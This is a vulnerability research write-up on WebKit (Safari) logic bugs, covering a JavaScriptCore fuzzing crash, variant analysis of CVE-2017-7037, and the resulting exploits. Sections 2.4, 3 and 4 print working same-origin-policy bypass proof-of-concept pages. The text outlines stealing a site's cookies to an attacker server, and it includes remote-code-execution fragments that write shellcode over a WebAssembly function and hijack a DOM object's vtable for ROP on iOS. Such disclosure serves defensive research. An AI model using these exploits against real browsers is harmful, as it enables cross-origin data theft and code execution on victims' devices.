Table of contents

0 - Introduction
1 - CSP Overview
–1.1 - definitions
—-1.1.1 - XSS
—-1.1.2 - UXSS
—-1.1.3 - CSP
—-1.1.4 - SOP
–1.2 - CSP Implemantation in webkit - brief overview
2 - hitting the vulnerable code paths
–2.1 - curious assert
–2.2 - Some Basic concepts
—-2.2.1 - indexed property accesses
—-2.2.2 - ‘Have A bad time’
–2.3 - Validation of our Understanding of the initial crash
—2.3.1 - RCE ??
—2.3.2 - UXSS ??
–2.4 - Variant analysis - CVE-2017-7037
—-2.4.1 - Real world exploitation of CVE-2017-7037
—-2.4.2 - About Apple fix for CVE-2017-7037
3 - SOP Bypass
4 - RCE Exploits
–4.1 - limitations
–4.2 - MacOS
–4.3 - iOS < A12
–4.4 - A12
–4.5 - A Note & a Hint about the renderer patching for sop bypass.
5 - References



0 - Introduction


This Writeup describe the process of discovering
and exploiting a series of logic bugs in Webkit,
that break’s apart the entire security model of the browser.

It’s quite unfortunate that the uxss bug was already submitted to apple in 2017,
and it was possible to avoid the existence of this variant, by simply searching other
instances of this pattern in the code base.

1 - CSP Overview:
1.1 - definitions:
1.1.1 - XSS


FROM [1]:

‘Cross-site Scripting (XSS) is a client-side code injection attack.
The attacker aims to execute malicious scripts in a web browser of
the victim by including malicious code in a legitimate web page or
web application. The actual attack occurs when the victim visits
the web page or web application that executes the malicious code.
The web page or web application becomes a vehicle to deliver
the malicious script to the user’s browser. Vulnerable vehicles
that are commonly used for Cross-site Scripting attacks are forums,
message boards, and web pages that allow comments.’

1.1.2 - UXSS


FROM [2]:

‘Unlike the common XSS attacks, UXSS is a type of attack that
exploits client-side vulnerabilities in the browser or browser
extensions in order to generate an XSS condition, and execute malicious
code. When such vulnerabilities are found and exploited, the behavior
of the browser is affected and its security features
may be bypassed or disabled.’

1.1.3 - CSP


FROM mozilla.org [3]:

‘Content Security Policy (CSP) is an added layer of security that helps
to detect and mitigate certain types of attacks, including Cross Site
Scripting (XSS) and data injection attacks. These attacks are used for
everything from data theft to site defacement to distribution of
malware.’
[…]
[…]
Threats
A primary goal of CSP is to mitigate and report XSS attacks. XSS attacks
exploit the browser’s trust of the content received from the server.
Malicious scripts are executed by the victim’s browser because the
browser trusts the source of the content, even when it’s not coming
from where it seems to be coming from.’

1.1.4 - SOP


FROM wikipedia.org [4]:

‘In computing, the same-origin policy is an important concept in the web
application security model. Under the policy, a web browser permits scripts
contained in a first web page to access data in a second web page, but
only if both web pages have the same origin. An origin is defined as a
combination of URI scheme, host name, and port number. This policy prevents
a malicious script on one page from obtaining access to sensitive data
on another web page through that page’s Document Object Model.’

1.2 - CSP Implemantation in webkit - brief overview


for enforcing CSP in safari the primary defenitions are implemented at:
webkit/tree/master/Source/WebCore/page/csp [5].
the reader is encouraged to look at the implementation by itself,
but we would describe some of the main features and usage of
this implementation in webkit:

in general, if we look at …/ContentSecurityPolicy.cpp from source [5],
we can see a set of api’s, to be used by the renderer and other
DOM Components. as an example we would look at the following Constructor:


ContentSecurityPolicy::ContentSecurityPolicy(URL&& protectedURL, 
                ContentSecurityPolicyClient* client)
    : m_client { client }
    , m_protectedURL { WTFMove(protectedURL) }
{
    updateSourceSelf(SecurityOrigin::create(m_protectedURL).get());
}

As we can see, when creating a dom object, while rendering or via the
dom api, the CSP Policy is initiated, to be checked later on for any
possible violations. an additional set of api’s are provided. for example,
for access checks within a page, the following class is implemented
inside webkit/blob/master/Source/WebCore/page/SecurityOrigin.cpp#L1866
[6]:


Ref<SecurityOrigin> SecurityOrigin::create(const URL& url)
{
    if (RefPtr<SecurityOrigin> cachedOrigin = getCachedOrigin(url))
        return cachedOrigin.releaseNonNull();

    if (shouldTreatAsUniqueOrigin(url))
        return adoptRef(*new SecurityOrigin);

    if (shouldUseInnerURL(url))
        return adoptRef(*new SecurityOrigin(extractInnerURL(url)));

    return adoptRef(*new SecurityOrigin(url));
}

for an example this class contains the following api function:

bool SecurityOrigin::canAccess(const SecurityOrigin& other) const

later in /Source/WebCore/bindings/js/JSDOMBindingSecurity.cpp [7] this
api is made public to the dom api, and used by the renderer process
to check for permissions on dom access due to CSP
restrictions:


bindings/js/JSDOMWindowCustom.cpp#L424 [8]:

bool JSDOMWindow::defineOwnProperty(JSC::JSObject* object, 
  JSC::ExecState* exec, JSC::PropertyName propertyName, 
  const JSC::PropertyDescriptor& descriptor, bool shouldThrow)
{
    JSDOMWindow* thisObject = jsCast<JSDOMWindow*>(object);
    // Only allow defining properties in this way by frames in the 
          same origin, 
    // as it allows setters to be introduced.
    if (!BindingSecurity::shouldAllowAccessToDOMWindow(exec, 
        thisObject->wrapped(), ThrowSecurityError))
        return false;

    // Don't allow shadowing location using accessor properties.
    if (descriptor.isAccessorDescriptor() && 
        propertyName == Identifier::fromString(exec, "location"))
        return false;

    return Base::defineOwnProperty(thisObject, exec, propertyName, 
        descriptor, shouldThrow);
}

in the above function, the reader should see, that before we can use the
Javascript api, defineOwnProperty, the JSDOMWindow api is checking for
the proper permissions by going to the api’s implemented in [7] and
defined at [6]. this check is done because of the dynamic nature of
javascript. meaning, that even if we cannot load a script directly to
some object.

defining a property on a cross-origin object, might invoke callbacks
and lead to arbitrary javascript execution on cross-origin domains -> a CSP violation.

2 - Hitting the vulnerable code paths


2.1 - curious assert


While fuzzing [9] JSC, for memory curroption bugs,
i encountered the following testcase:

file assert.js:

function opt(fn) {

    for ( let ttt = 0; ttt < 400; ttt ++){
        fn[ttt] = 1;                     
    }
    function dummy() {}
    const p = parseFloat.__proto__;               
    const h = {
            get:dummy,
            set:dummy
    };
    Object.defineProperty(p,12345,h);
    fn[300000000] = 17;                       
}

opt(Map);

Excpected stack trace, from the debug build:


ASSERTION FAILED: !needsSlowPutIndexing(vm)
.../trunk/Source/JavaScriptCore/runtime/JSObject.cpp(1684) : JSC::ArrayStorage *JSC::JSObject::ensureArrayStorageSlow(JSC::VM &)
1   0x1177feed9 WTFCrash
2   0x10a4f9660 WTF::BasicRawSentinelNode<Worker>::remove()
3   0x116b84bb4 JSC::JSObject::ensureArrayStorageSlow(JSC::VM&)
4   0x116b86358 bool JSC::JSObject::putByIndexBeyondVectorLengthWithoutAttributes<(unsigned char)8>(JSC::ExecState*,unsigned,int, JSC::JSValue)
5   0x116b90c89 JSC::JSObject::putByIndexBeyondVectorLength(JSC::ExecState*, unsigned int, JSC::JSValue, bool)
6   0x116b72f8b JSC::JSObject::putByIndex(JSC::JSCell*, JSC::ExecState*, unsigned int, JSC::JSValue, bool)
7   0x116b7215a JSC::JSObject::putByIndex(JSC::JSCell*, JSC::ExecState*, unsigned int, JSC::JSValue, bool)
8   0x114b29b2b JSC::JSObject::putInlineForJSObject(JSC::JSCell*, JSC::ExecState*, JSC::PropertyName, JSC::JSValue,JSC::PutPropertySlot&)
9   0x114b28f80 JSC::JSCell::putInline(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, 
JSC::PutPropertySlot&)
10  0x114b304fe JSC::JSValue::putInline(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&)
11  0x1160fe6cc JSC::putByVal(JSC::ExecState*, JSC::JSValue, JSC::JSValue, JSC::JSValue, JSC::ByValInfo*)
12  0x1160fc3b8 operationPutByValOptimize
13  0x248355c02a6d
14  0x1162865f3 llint_entry
15  0x116273242 vmEntryToJavaScript
16  0x115f10a19 JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*)
17  0x115f0e31d JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::ExecState*, JSC::JSObject*)
18  0x116834a75 JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&)
19  0x10a5c0d90 runWithOptions(GlobalObject*, CommandLine&, bool&)
20  0x10a550574 jscmain(int, char**)::$_4::operator()(JSC::VM&, GlobalObject*, bool&) const
21  0x10a4fe9b6 int runJSC<jscmain(int, char**)::$_4>(CommandLine const&, bool, jscmain(int, char**)::$_4 const&)
22  0x10a4fadae jscmain(int, char**)
23  0x10a4fab6e main
24  0x7fff7624c3d5 start
Illegal instruction: 4

2.2 - Some Basic concepts


what i like to do when i encounter a new crash is to view the git blame.
after searching for a few i finally got to this commit:
d3506e647787358365cb5aac9e769cbfeadf9c38 [10]

lets quote a little of the author’s explanation about this assert:

‘For those who are not familiar with the parlance, “have a bad time”
in the VM means that Object.prototype has been modified in such a
way that we can no longer trivially do indexed property accesses

without consulting the Object.prototype.
This defeats JIT indexed put optimizations, and hence, makes the
VM “have a bad time”.’

2.2.1 - indexed property accesses


the goal of this article is not to provide a deep analysis of
jit compilation, so only the very basic ideas that are needed
to understand this vulnerability would be discussed.

lets consider the following javascript code:


function add(arr){
  return arr[0] + arr[1];
}

let a = [1,2]; [@]

for ( let y = 0; y < 0x1234; y++){
  let re = add(a);
}

in modern javascript engine, compiler optimizations are emited for

translating javascript code to native machine code.
lets consider replacing the line noted by [@] to the following code:

let a = ['a', 2]; 

when calling the ‘add’ function. the addition can have two many
different machine code emitted. meaning, that addition of a string
object and a number (in javascript), would produce a resulted string
of (in this example) ‘a2’. the machine code and number of operation
would differ much from the original example: in general outlines
we would need to:

*) load the indexed property of the given argument.
*) load the second property of the given argument.
*) convert the second argument to a string.
*) compute a string addition.

on the contrary, the original example would produce (roughly),

the following:

*) load the indexed property of the given argument.
*) load the second property of the given argument.
*) check for integer addition overflow
*) compute an Int32 addition.

jit compiler are designed to take this differences into considerations,
to save runtime. when accessing a certain ArrayLike object many times
the compiler would consult (in JSC) the indexing type of this object,
and would emit an optimized code for this
operation.

the indecing type is defined at: IndexingType.h
[11] and is a cpp data structure of the form:

 
 /*
    Structure of the IndexingType
    =============================
    Conceptually, the IndexingTypeAndMisc looks like this:
    struct IndexingTypeAndMisc {
        struct IndexingModeIncludingHistory {
            struct IndexingMode {
                struct IndexingType {
                    uint8_t isArray:1;          // bit 0
                    uint8_t shape:3;            // bit 1 - 3
                };
                uint8_t copyOnWrite:1;          // bit 4
            };
            uint8_t mayHaveIndexedAccessors:1;  // bit 5
        };
        uint8_t cellLockBits:2;                 // bit 6 - 7
    };
    The shape values (e.g. Int32Shape, ContiguousShape, etc) are an 
    enumeration of
    various shapes (though not necessarily sequential in terms of 
    their values).
    Hence, shape values are not bitwise exclusive with 
    respect to each other.
    It's also common to refer to shape + copyOnWrite as 
    IndexingShapeWithWritability.
*/

So, we can see that the compiler can check, per say, in this example the
indexing type, of the object to be accessed and then continue the

execution, if indeed the same indexing type is found, or bailout and
recompile the function to emit a different and a more suited bytecode
for the access operation.

2.2.2 - ‘Have A bad time’

about javascript prototype’s:
the Javascript spec defines the object prototype as a method to extend
or change the behavior
of a certain object, or a class of objects.

as MDN states [12]:

‘Changes to the Object prototype object are seen by all objects through
prototype chaining, unless the properties and methods subject to those
changes are overridden further along the prototype chain. This provides
a very powerful although potentially dangerous mechanism
to override or extend object behavior.’

Now, lets considure the following code:


function add(arr){
  return arr[0] + arr[1];
}

let a = [1,2];

Object.defineProperty(a, 0, {
  get: function(){return 'a';}
});


for ( let y = 0; y < 0x1234; y++){
  let re = add(a);
}

As we can see the ‘prototype’ of object “a” was changed. and now
the resulting addition would be the same as the second example given
in the previews section. and we already discussed the differance for
the compiler’s work. as stated by the author of the relevant commit
who added the encountered assert. when the prototype of an object
was changed then the jit compilers assumptions have been broken
and it should consult the prototype. in JSC this state is called
‘have a bad time’ mode.

2.3 - Validation of our Understanding of the initial crash


let’s go back to the assert file:

function opt(fn) {

    for ( let ttt = 0; ttt < 400; ttt ++){
        fn[ttt] = 1;                              [1]
    }
    function dummy() {}
    const p = parseFloat.__proto__;               [2]
    const h = {
            get:dummy,
            set:dummy
    };
    Object.defineProperty(p,12345,h);             [3]
    fn[300000000] = 17;                           [4]         
}

opt(Map);

the looped access noted by [1] is causing the compiler to optimize
access to the argument given to the function.
in this example we send the function Map as an agrument, thus when
accessing parseFloat prototype at line [2] we are also accessing
Map prototype, as they are both inheriting from the global Function
object. then in [3], because of the last line stated, we change the
prototype of the access optimized object.
later in [4] we invoke the emitted putByValOptimize (because of [1])
and we assert, because the compiler calls
putByIndexBeyondVectorLengthWithoutAttributes,
that converts the access to this object to a dictionary mode indexing
type.
this function always calls JSC::JSObject::ensureArrayStorageSlow.
but the storage type is a fast path, as indicated by the
‘operationPutByValOptimize’ in the stack trace.

The main points to take here are:

1) putByIndex, putByIndexBeyondVectorLength are not taking into considaration the
changes to the object prototype and this is only done later by other
function in the stack trace.

2) at certain conditions operationPutByValOptimize is a wrapper around
JSC::JSValue::putInline and JSC::JSValue::put
(as a general referance to all sorts of functions starting with ::put ::push etc etc..).

3) putbeyondvectorlength is ensuring array storage slow
and asserting because its not. but we added indexed property accesses,
then we are supposed to be there already - this means that they failed to model this correctly.

So now we need to ask ourselfs the following questions:

2.3.1 - RCE ??

if we were supposed to be in a ‘have a bad time’,
and putbeyondvectorlength is ensuring array storage slow..
and asserting because its not (and if we are ‘having a bad time’,
then we are supposed to be there already) and side-effect on jitted code
are modeled with HaveABadTime, then we can cause side effects in jitted code.

qwerty also wrote a nice poc for this at #.
at least they found a way to fix several instances in one hit..
this is fixed with: https://github.com/WebKit/webkit/commit/fa191875bb1cce51822bef7135633bc004e6b322

2.3.2 - UXSS ??

But looking at this behavior, got me thinking of another question:

WHO IS Getting The Prototype ???

2.4 - Variant analysis - CVE-2017-7037.


CVE-2017-7037 was disscovered by lokihardt [13] of
google project zero [14], in april 2017. the report
can be seen at the issue tracker [15].

lets look at the poc and description of this vulnerability, given by the
finder at the report in the bug tracker ([15]):


JSObject::putInlineSlow and JSValue::putToPrimitive use
getPrototypeDirect instead of getPrototype to get an object’s prototype.
So JSDOMWindow::getPrototype which checks the Same Origin Policy is not
called.

The PoC shows to call a setter of another origin’s object.

PoC 1 - JSValue::putToPrimitive:

<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
    let a = 1.2;
    a.__proto__.__proto__ = f.contentWindow;

    a['test'] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
    }};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
    'a' + v;
});

</scrip` + `t>`;

</script>
</body>


With the background given at section 1.3 in this writeup the reader should
understand the root cause of this vulnerability from lokihardt’s description.

2.4.1 - Real world exploitation of CVE-2017-7037.

if you would visit the original report at the google project zero bug
tracker [15] you would see comment 5:


Comment 5 by cainiao…@gmail.com on Tue, Jul 25, 2017, 3:29 PM GMT+3

i don’t see how to use
any one can tell me ?

as described in section 1.3, and with the assumption that we save the
following poc to a file named ‘poc.html’ and launch it on a vulnerable
version of apple safari.

then looking at the network section in the WebInspector would show that we

got two different origins in the document:
file:// and data/… . now the comment given here is not redundant, as this
seems like not a ‘real’ issue: if we can create an iframe where we can
already run code at (data/..), then why is this a problem at all?

the sharp reader should notice, that replacing
‘data/..’ origin with any other would still result with a property
assignment to the cross origin prototype.

so, ‘real world exploitation’ of this bug would be of the form:

*) locate a cross domain of interest, say: juicy-data.com .
*) locate access to some defined property that can invoke a callback
(toString, valueOf),

example: by comparing this object (and then a valueOf or toString is
invoked).

the access to this property can be done from any side loaded javascript to
that website.

*) define the valueOf, toString callback to retrieve data from that
origin,

example: by issuing an XMLHttpRequest that send the document.cookie
data back to a server, controlled by the attacker.

*) Host an exploit page that embeds the juicy-data.com domain in an hidden
iframe,and runs javascript on that page with the given logic issue.

2.4.2 - About Apple fix for CVE-2017-7037.

running the CVE-2017-7037 poc code in safari would not produce a CSP .
violation. instead it seems that apple fixed the bug by forcing the
relevent operations to use getPrototype instead of getPrototypeDirect,
so we basicaly cannot get a hold of the cross origin prototype anymore,
so we dont get a csp violation..

but if we run the following javascript code,
we can see that we do get a CSP violation in the debugger:

<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let loc = f.contentWindow.location;
f.onload = () => {
    let a = 1.2;
    Object.defineProperty(a.__proto__,'__proto__',f.contentWindow);     // Changed ..

    a['test'] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
    }};
};
f.src = 'data:text/html,' + `<iframe></iframe><script>
Object.prototype.__defineSetter__('test', v => {
    'a' + v;
});

</scrip` + `t>`;

</script>
</body>

Console output:

SecurityError: Blocked a frame with origin "null" from accessing a 
cross-origin frame. Protocols, domains, and ports must match.

for example: ‘let v = f.contentWindow.eval’, would result with a violation.
so the developers needs to check every operation, including assignments via the
discussed operations..
by having two api’s: getprototype -> leads to the dom bindings,
and getprototypedirect, they basicaly created this csp bypass bug class..
in my opinion this is an error prominent design pattern,
that can lead the developers to mistakes.

3 - SOP Bypass

given the above analysis, and after reviewing the relevent functions in the
assert stack trace the following bypass’s for CVE-2017-7037 can be
constructed:


<body>
<script>

let f = document.body.appendChild(document.createElement("iframe"));
f.onload = () => {
    
    let a = {__proto__:f.contentWindow};
        
    a[0] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
    }};
    
}  

f.src = 'data:text/html;charset=utf-8,' + escape("<ifra"+"me></ifr"+"ame><scr"+"ipt>Object.prototype.__defineSetter__(0, v => {'a' + v;});</scr"+"ipt>");

</script>
</body>


<body>
<script>

let f = document.body.appendChild(document.createElement("iframe"));
f.onload = () => {
    
    let a = [];
    
    for (let ttt = 0; ttt < 0x400; ttt++){
        a[ttt] = '';
    }
    a.__proto__.__proto__ = f.contentWindow;
    
    a[10101010] = {toString: function () {
        arguments.callee.caller.constructor('alert(location)')();
    }};
    
}  

f.src = 'data:text/html;charset=utf-8,' + escape("<ifra"+"me></ifr"+"ame><scr"+"ipt>Object.defineProperty(Object.prototype, 10101010, {set: function (v) {return 'a' + v;}});</scr"+"ipt>");

</script>
</body>

[etc]
[etc]
[etc]

you are encouraged to read the patch
(notice the cocoa..)
further manipulations are left as an exercise for the reader.

4 - RCE Exploits

(see the html files for code execution exploits):

UXSS
MacOS
iOS

4.1 - limitations

at the current Safari version (and forward), structure spray is not enough anymore (to fake an arbitrary object).
one needs to find a way to leak a valid structure id, using creative methods
or a high quality infoleak, such as this bug #
(note that this bug was enough to exploit webkit on desktop on its own, even with all new mitigations
in place).
other then that, –afaik– ,this should work the same…

4.2 - MacOS

all we need to do to achive native code execution is to overwrite a wasm function.
as its allocated r/w/x.
This is essentially what the exploit here does.


    // overwrite the instructions 
    // at the wasm function and call it
    // to exe shellcode..
    const wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,0x00, 0x00, 0x41, 0x00, 0x0b]);
    const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code));
    const wasm_func = wasm_instance.exports.a;
    let pexe = addrof(wasm_instance.exports.a); 
    let eaddress = memory.read_i64(Add(pexe, new Int64('0x30')),0);
    memory.write_i64( eaddress , 0, new Int64('0xcccccccccccccccc') );
    wasm_func();
    

4.3 - iOS < A12

without pac, we can overwrite a div virtual function pointer, and other fields,
in order to run ROP.
the following code, (with modifications for the ‘b’ field to hold the rop chain),
is enough as you can fetch the registers from the starting point of the rop chain,
as offset 0x18 inside the object, and then continue like written in [16].
(but remember to respect ARM64 alignment..)


   let buff = {
        a: 2261634.5098039214, // + 0x10
        b: 2261634.5098039214, // + 0x18 <---  [rax] || [x0]
        c: 2261634.5098039214, // + 0x20
        // ...
        // ...    
    } 
       
    let addx = addrof(buff); 
    var d = document.getElementById("a");
    let ad_div = addrof(d);
    let exe_ptr = memory.read_i64(Add(ad_div, new Int64('0x18')),0); 
    let v_tlb = memory.read_i64(exe_ptr,0);
    
    
    // let web_core = Sub(v_tlb,new Int64('0x5024be70')); // safari 12.1.1 -> macos         adjust the offset for ios ..
    
    /*
    
       result's with:
            * thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=EXC_I386_GPFLT)
            frame #0: 0x00007fff4b5d5898 WebCore`WebCore::jsEventTargetPrototypeFunctionDispatchEvent(JSC::ExecState*) + 152
                WebCore`WebCore::jsEventTargetPrototypeFunctionDispatchEvent:
                    ->  0x7fff4b5d5898 <+152>: call   qword ptr [rax]
                        0x7fff4b5d589a <+154>: cmp    eax, 0x26
                        0x7fff4b5d589d <+157>: jne    0x7fff4b5d58c8            ; <+200>
                        0x7fff4b5d589f <+159>: mov    rdi, rbx 
              
            (lldb) reg r
            General Purpose Registers:
                rax = 0x000000056a47fdf8 <-- points to whats inside object+0x18     ||              x0
                
                    (lldb) x/10gx $rax --count 1
                        0x56a47fdf8: 0x4142414141414141        ||                 x8
                                        
                rbx = 0x000000056df00240 <-- points to the object+0x18,            
                
                    (lldb) x/10gx $rbx --count 1
                        0x56df00240: 0x000000056a47fdf8
                    (lldb)
                    
                rdi = 0x000000056df00240 <-- points to the object+0x18,           ||                x20
                                          

            Exception Type:  EXC_BAD_ACCESS (SIGBUS)
            Exception Subtype: EXC_ARM_DA_ALIGN at 0x0042414141414141
            VM Region Info: 0x42414141414141 is not in any region.  Bytes after previous region: 18649030044188994  
                REGION TYPE                      START - END             [ VSIZE] PRT/MAX SHRMOD  REGION DETAIL
                JS JIT generated code  0000000f96108000-0000000f9610c000 [   16K] ---/rwx SM=NUL  

            Thread 0 name:  Dispatch queue: com.apple.main-thread
            Thread 0 Crashed:
            0   ???                           	0x0042414141414141 0 + 18649096986378561
            1   ???                           	0x0000000f8e10c200 0 + 66807972352
            2   ???                           	0x0000000f8e12f770 0 + 66808117104
            3   JavaScriptCore                	0x00000001918f53c4 0x1916d4000 + 2233284
            4   JavaScriptCore                	0x00000001918f53c4 0x1916d4000 + 2233284                
                
                Thread 0 crashed with ARM Thread State (64-bit):
            x0: 0x0000000105c00240   x1: 0x0000000000000010   x2: 0x0000000000000001   x3: 0x000000016f2c5848
            x4: 0x00000001087a0780   x5: 0x000000016f2c55c0   x6: 0x0000000102ef0c40   x7: 0x0000000000000000
            x8: 0x4142414141414141   x9: 0x000000010801cfb0  x10: 0x0000000000000005  x11: 0x0000000000000000
            x12: 0x00000001baef0ec8  x13: 0x00000000cf0dc550  x14: 0x000000000000000f  x15: 0x0000000000000000
            x16: 0x0000000000000000  x17: 0x00000001032114a0  x18: 0x0000000000000000  x19: 0x000000016f2c5980
            x20: 0x0000000105c00240  x21: 0xffff000000000002  x22: 0x0000000000000002  x23: 0x000000016f2c5fc8
            x24: 0x000000010489ed60  x25: 0x0000000104804010  x26: 0x0000000102cb1c00  x27: 0xffff000000000000
            x28: 0xffff000000000002   fp: 0x000000016f2c5970   lr: 0x00000001931a2d78
                sp: 0x000000016f2c5920   pc: 0x0042414141414141 cpsr: 0x80000000     
                
                        
    */
    
    memory.write_i64(exe_ptr,0,new Int64(Add(addx, new Int64('0x18'))));      
    d.dispatchEvent(new Event('click'));


4.4 - A12

be creative!

4.5 - A Note & a Hint about the renderer patching for sop bypass.

every page loaded (document object), would have an associated ‘SecurityOrigin’
Object allocated for.
while the uxss part is popular, you should notice that there are other fields
other then m_universal_access =)
lets just say that if you escalate to local storage would allow you to read some renderable local files
and the broker is also taking the protocol and the ‘host’ while,
deciding to give access to certain actions…

5 - References

i won’t do any other writeups for the other bugs i found in webkit,
but they would be uploaded to my git eventualy..

for further reading about other uxss bug classes i recommand: https://ai.google/research/pubs/pub48028
[adv] https://www.zerodayinitiative.com/advisories/ZDI-19-683/
[apple] https://support.apple.com/en-us/HT210346
[1] https://www.acunetix.com/websitesecurity/cross-site-scripting/
[2] https://www.acunetix.com/blog/articles/universal-cross-site-scripting-uxss/
[3] https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
[4] https://en.wikipedia.org/wiki/Same-origin_policy
[5] https://github.com/WebKit/webkit/tree/master/Source/WebCore/page/csp
[6] https://github.com/WebKit/webkit/blob/master/Source/WebCore/page/SecurityOrigin.cpp#L1866
[7] https://github.com/WebKit/webkit/blob/89c28d471fae35f1788a0f857067896a10af8974/Source/WebCore/bindings/js/JSDOMBindingSecurity.cpp
[8] https://github.com/WebKit/webkit/blob/5cf2d3ed6657a12a51898d9bb0377aab0ef260a1/Source/WebCore/bindings/js/JSDOMWindowCustom.cpp#L424
[9] https://en.wikipedia.org/wiki/Fuzzing
[10] https://github.com/WebKit/webkit/commit/d3506e647787358365cb5aac9e769cbfeadf9c38
[11] https://github.com/WebKit/webkit/blob/85a3183f296802817525ce6b0b33d911bf588312/Source/JavaScriptCore/runtime/IndexingType.h
[12] https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype
[13] https://bugs.chromium.org/u/64750745/
[14] https://googleprojectzero.blogspot.com/
[15] https://bugs.chromium.org/p/project-zero/issues/detail?id=1240
[16] https://t.co/0AkPMpaNc7

Minimal POC & ref for the exploit code:


/*             

        [0] https://bugs.webkit.org/show_bug.cgi?id=196315        
        [1] http://rce.party/wtf.js
        [2] https://github.com/saelo/cve-2018-4233
        [3] https://github.com/LinusHenze/WebKit-RegEx-Exploit
        
        
        this is how i found out about this bug (after details of other vuln's,
            would be public, then there would be a full technical writeup about this):
        
        function opt(fn) {

            for ( let ttt = 0; ttt < 400; ttt ++){
                fn[ttt] = 1;                     
            }
            function dummy() {}
            const p = parseFloat.__proto__;               
            const h = {
                    get:dummy,
                    set:dummy
            };
            Object.defineProperty(p,12345,h);
            fn[300000000] = 17;                       
        }

        opt(Map);        
        
        
        ASSERTION FAILED: !needsSlowPutIndexing(vm)
        .../trunk/Source/JavaScriptCore/runtime/JSObject.cpp(1684) : JSC::ArrayStorage *JSC::JSObject::ensureArrayStorageSlow(JSC::VM &)
        1   0x1177feed9 WTFCrash
        2   0x10a4f9660 WTF::BasicRawSentinelNode<Worker>::remove()
        3   0x116b84bb4 JSC::JSObject::ensureArrayStorageSlow(JSC::VM&)
        4   0x116b86358 bool JSC::JSObject::putByIndexBeyondVectorLengthWithoutAttributes<(unsigned char)8>(JSC::ExecState*,unsigned,int, JSC::JSValue)
        5   0x116b90c89 JSC::JSObject::putByIndexBeyondVectorLength(JSC::ExecState*, unsigned int, JSC::JSValue, bool)
        6   0x116b72f8b JSC::JSObject::putByIndex(JSC::JSCell*, JSC::ExecState*, unsigned int, JSC::JSValue, bool)
        7   0x116b7215a JSC::JSObject::putByIndex(JSC::JSCell*, JSC::ExecState*, unsigned int, JSC::JSValue, bool)
        8   0x114b29b2b JSC::JSObject::putInlineForJSObject(JSC::JSCell*, JSC::ExecState*, JSC::PropertyName, JSC::JSValue,JSC::PutPropertySlot&)
        9   0x114b28f80 JSC::JSCell::putInline(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&)
        10  0x114b304fe JSC::JSValue::putInline(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&)
        11  0x1160fe6cc JSC::putByVal(JSC::ExecState*, JSC::JSValue, JSC::JSValue, JSC::JSValue, JSC::ByValInfo*)
        12  0x1160fc3b8 operationPutByValOptimize
        13  0x248355c02a6d
        14  0x1162865f3 llint_entry
        15  0x116273242 vmEntryToJavaScript
        16  0x115f10a19 JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*)
        17  0x115f0e31d JSC::Interpreter::executeProgram(JSC::SourceCode const&, JSC::ExecState*, JSC::JSObject*)
        18  0x116834a75 JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&)
        19  0x10a5c0d90 runWithOptions(GlobalObject*, CommandLine&, bool&)
        20  0x10a550574 jscmain(int, char**)::$_4::operator()(JSC::VM&, GlobalObject*, bool&) const
        21  0x10a4fe9b6 int runJSC<jscmain(int, char**)::$_4>(CommandLine const&, bool, jscmain(int, char**)::$_4 const&)
        22  0x10a4fadae jscmain(int, char**)
        23  0x10a4fab6e main
        24  0x7fff7624c3d5 start
        Illegal instruction: 4
        
        
        but the exploit use a modified poc from [1] for addrof, fakeobj 
        cause i don't give away all of my secrets =).
        then for r/w we use LinusHenze wasm primitives.
        for decoding pointers we use saelo's lib.


*/